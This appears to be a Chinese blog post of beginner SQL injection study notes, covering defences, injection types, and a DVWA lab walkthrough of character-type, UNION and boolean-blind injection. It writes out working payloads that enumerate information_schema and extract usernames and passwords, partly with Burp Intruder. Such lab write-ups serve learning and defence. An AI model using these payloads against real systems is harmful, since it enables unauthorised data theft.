菜狗的sql注入漏洞学习笔记

前言:吗喽的命也命!趁着周末无事,写篇文档,一来记录所学白嫖积分 ),二来技术分享(还是白嫖积分 )。
请添加图片描述

#该文档仅供学习交流,其中可能存在错误、纰漏,还请师傅大佬们斧正
//此篇文档仅限博主学习记录和技术交流学习,请勿用于任何非法用途
将文章用于非法用途造成的不良后果与作者无关(狗头保命)

---------------------目录----------------------

一、关于sql注入攻击

二、防范sql注入攻击的建议

三、常见注入攻击漏洞分类

四、简单的注入攻击漏洞复现

4.1字符型注入复现

4.2联合注入复现

4.3布尔注入复现

五、总结

—————————————————

一、关于sql注入

个人理解:sql注入漏洞出现在用户提交的参数没有过滤就直接放到后端的 SQL 语句中执行,导致参数中的特殊字符打破了 SQL 语句原有逻辑,通过传入的参数进行越权操作,如:利用sql注入来进行非授权的数据查询,下载数据,写入webshell,执行命令等操作。

二、防范sql注入的建议

·方法一:查询语句都使用数据库提供的参数化查询接口,参数化的语句使
用参数而不是将用户输入的变量直接嵌入到 SQL 语句中,避免直接执行。(使用安全参数)
·方法二:对一些特殊字符例如:’ <>&*; 等,过滤掉这些敏感输入数据,进行转义处理或者进行编码转换。
·方法三:确认数据类型,例如数字型的数据输入必须限制为数字,数据库中的存
储字段也必须对应为 int 类型。
·方法四:严格规定用户输入的数据字段长度,限制字段长度可以避免长注入执行。
·方法五:统一数据层的编码,不统一编码可能会被绕过。
·方法六:限制用户的数据库的操作权限,权限最小化,最大限度避免注入攻击。
·方法七:避免网站显示 SQL 错误信息,比如类型错误、字段不匹配等,信息反馈最小化。(内部错误)
·方法八:多重验证,降低攻击面,访问者经过严格身份验证才能进入系统,没有用过验证的直接拒绝访问。
·方法九:评论区见…

三、常见注入漏洞分类

1.直接注入
攻击者在当前页面通过sql语句查询,回显到前端,攻击者直接获取到数据、内容

2.联合注入(union)
攻击者使用union select运算符将多个SELECT语句合并为一,通过恶意构造的SQL语句和应用程序的SQL语句进行联合,啪,直接打过去,对数据库进行非法操作。

3.报错注入(error)
数据库查询返回结果并没有在页面中显示,但是应用程序将数据库报错信息打印到了页面中,攻击者从报错的页面中获取到想要的信息

4.盲注(blind)
数据库查询结果无法从直观页面中获取,攻击者通过使用数据库逻辑或使数据库库执行延时等方法获取想要获得的内容。

5.时间盲注(time)
通过函数 sleep(),根据回显时间逐个判断数据,盲注的一类。(挺耗时)

6.布尔盲注(boolean)
这种注入会出现在 注册、ip头、留言板等等需要写入数据的地方,如用sqlmap会产生大量垃圾数据。尝试性插入、引号、双引号、转义符 \ 让语句不能正常执行,然后如果插入失败,更新失败,然后深入测试确定是否存在注入,盲注的一类。

7.二次注入
sql语句的变量并不是直接传入的变量,而是通过其它的方式保存到了数据库,形成二次注入。没有单引号的sql语句中,进行16进制编码,这样就不会带有单引号。

8.数字型注入
访问url有时会遇到:www.xxxxxx.com?id=1这种带有id=…的情况,这个时候攻击者输入1 and 1=1和1 and 1=2。id=1 and 1=1这个语句的意思是输出id=1的界面,当1=1的时候,1=1为真,所以会输出有效界面,id=1 and 1=2这个语句的意思是输出id=1的界面,当1=2的时候,但1≠2,为假,所以会回显错误页面,通过输入上述两段,看页面回显,当页面回显不一样时,由此判断页面存在数字型注入。

9.字符型注入
和上述数字型注入一样,url后输入’ and 1=1 and ‘1’=’1,’ and 1=2 and ‘1’=’1。看是否会出现报错的现象。如果存在我们可以进一步的闭合我们的语句。

10.堆叠注入(作者不会)
11.cookie注入(作者不会)
12.base64注入(作者不会)
13.http头部注入(作者还是不会)

在这里插入图片描述

四、常见注入漏洞复现

//本人仅在个人搭建靶场进行复现,请遵守国家相关法律法规,严禁在公网进行漏洞复现。
复现环境:DVWA(典)
复现内容:
4.1字符型注入
4.2联合注入
4.3布尔注入

(不是我懒,是篇幅有限)

4.1字符型注入复现

前情回顾:
9.字符型注入
和上述数字型注入一样,url后输入’ and 1=1 and ‘1’=’1,’ and 1=2 and ‘1’=’1。看是否会出现报错的现象。如果存在我们可以进一步的闭合我们的语句。

在这里插入图片描述
DVWA先调到最低安全等级,并应用

在这里插入图片描述
这是靶场的php源代码,这里可以看到数据库直接将前端输入的id传入变量id,后台再直接调用这个变量,由于调用的时候前后是有引号的,所以可以判断为字符型注入。

这里我们输入1’ and ‘1’=‘1 ,前后不输入引号是因为后台是直接调用‘id’,在调用的时候,后台已经有引号,我们直接将语句拼接到后台,然后输出,得出了用户名
在这里插入图片描述
直接注入我们输入1’ and ‘1’='2 ,没有任何回显,由此得知该数据库存在注入漏洞
在这里插入图片描述

4.2联合注入复现

前情回顾:
2.联合注入(union)
攻击者使用union select运算符将多个SELECT语句合并为一,通过恶意构造的SQL语句和应用程序的SQL语句进行联合,啪,直接打过去,对数据库进行非法操作。
第一步判断库名
在判断了该数据库存在注入后,我们可以进一步进行注入攻击
输入-1’ union select 1,version()-- 可以查看当前数据库版本号
输入-1’ union select 1,database()-- 可以查看当前数据库
输入-1’ union select 1,user()-- 可以查看当前用户名
这里以输入version举例,得出库名为:dvwa
在这里插入图片描述

第二步判断表名
在黑盒的情况下是不知道当前库有什么表的,可以通过 mysql 自带的
information_schema 查询当前库的表。
输入-1’ union select 1,(select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit 1)-- 查询第一个表
输入-1’ union select 1,(select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit 1,2)-- 查询第二个表
以此类推…
这里我们以查询第二个表举例,得到表名为users。
在这里插入图片描述

第三步判断字段名
得到表名之后,我们就可以进一步查询字段名,同样的查询字段也可以通过内置库 information_schema 里的 COLUMNS这个表记录所有表的字段。通过 COLUMNS 查询 users 表的字段。
获取 users 表第一个字段名
-1’ union select 1,((select COLUMN_NAME from information_schema.COLUMNS
where TABLE_NAME=‘users’ limit 1))–
获取 users 表第二个字段名
-1’ union select 1,((select COLUMN_NAME from information_schema.COLUMNS
where TABLE_NAME=‘users’ limit 2,1))–
以此类推…
在这里插入图片描述
通过一个个查询,我们能得出所有字段名
这里我们以得出其中两个字段:password和user为例,查询该字段下的数据

第四步得到数据
在这里插入图片描述
截止目前,我们就可以看到,用户数据已经被打到了公屏上。

4.3布尔注入

前情回顾:
6.布尔盲注(boolean)
这种注入会出现在 注册、ip头、留言板等等需要写入数据的地方,如用sqlmap会产生大量垃圾数据。尝试性插入、引号、双引号、转义符 \ 让语句不能正常执行,然后如果插入失败,更新失败,然后深入测试确定是否存在注入,盲注的一类。

布尔注入属于盲注的一种,由于不会直接把数据打在公屏上,所以需要借助工具,那么接下来是我的回合!BurpSuite 启动!

第一步:获得库名长度
首先我们还是要构造字段,第一步还是查询数据库名,我们要先知道数据库名有多长,构造语句:1’ and if(length(database())=1,1,0)–
语句解释:如果database的长度等于粗斜体1,则返回正确页面,否则返回错误页面,这里的n代表自变量参数
开启回环,打开BurpSuite进行抓包)请添加图片描述
*抓包
请添加图片描述
*将包导入intruder,设置变量
请添加图片描述
*设置攻击载荷payload
请添加图片描述
*解释:以上我们进行了一次抓包,将语句1’ and if(length(database())=1,1,0)–中,粗体斜线的1定义为自变量,构造了一个1到1000,步长为1的payload,开多线程进行扫描,我们可以通过返回值进行判断,如图4,第4个payload的返回值明显与别的不一样,我们由此判断库名的长度为4,拿回去将语句注入,得到存在,即库名长度就是4
在这里插入图片描述
第二步:获取库名
上一步获取库名长度其实可以跳过,直接获取库名,同理,先构造语句
1’ and if(substring(database(),1,1)=‘a’,1,0)–+
语句解释:从第一个字符开始一个个判断database的名字,如果字符为a,则返回正确值,否则返回错误。语句中粗斜体的1为自变量,代表第1个字符,后续配置payload需配置为自增,表示一个个遍历字符。粗斜体a表示与a字符进行判断,后续配置payload需配置为一个字典,包含着所有字符符号(abcdefg…)请添加图片描述
*抓包

请添加图片描述
*将包导入intruder,设置变量
请添加图片描述
*构造第一个攻击载荷payload
请添加图片描述
*构造第二个攻击载荷payload
请添加图片描述
请添加图片描述
*解释:以上我们进行了一次抓包构造语句 1’ and if(substring(database(),1,1)=‘a’,1,0)-- 相当于我们一个个遍历试探返回值为正确还是错误,粗斜体1代表从第一个开始,一个个试探abcdef,看看库名的第一个是什么字母,当得出第一个字符后,自增到2,再一个个试探,试探40次,试探的文本包括数字,字母,特殊符号,最后得到库名为dvwa。

-----由于篇幅有限(真不是偷懒,以下仅展示代码,步骤和上面大致相符)-----

第三步:获取表名
1’and if(substring((select TABLE_NAME from information_schema.TABLES where
TABLE_SCHEMA=database() limit 1),1,1)=‘g’,1,0)–
得到表名guestbook users
开启攻击获取表名 guestbook users

第四步:获取字段名
得到表名之后 获取字段名 在用 burpsuite 抓包修改变量
1’and if(substring((select COLUMN_NAME from information_schema.COLUMNS
where TABLE_NAME=‘users’ limit 1,1),1,1)=‘u’,1,0)–
当前库的表的第一个列字符是否等于 u 如果等于 u 返回正则页面 否则返回错误
页面。
得到字段名 user,password等…

第五步:获取数据
获得字段名后,构造语句1’and if(substring((select CONCAT(user,0x3a,PASSWORD) from users limit
1),1,1)=‘a’,1,0)–
burpsuite 抓包修改值 提交测试。
最后整理结果即可获得user和password的数据。

五、总结

码了一个下午,很累,但是很开心能整理出学习文档,谢谢各位师傅能看到这里,该文档仅做技术交流和个人笔记留存,如有错误还请各位大佬指出,谢谢各位。
请添加图片描述

  • 8
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值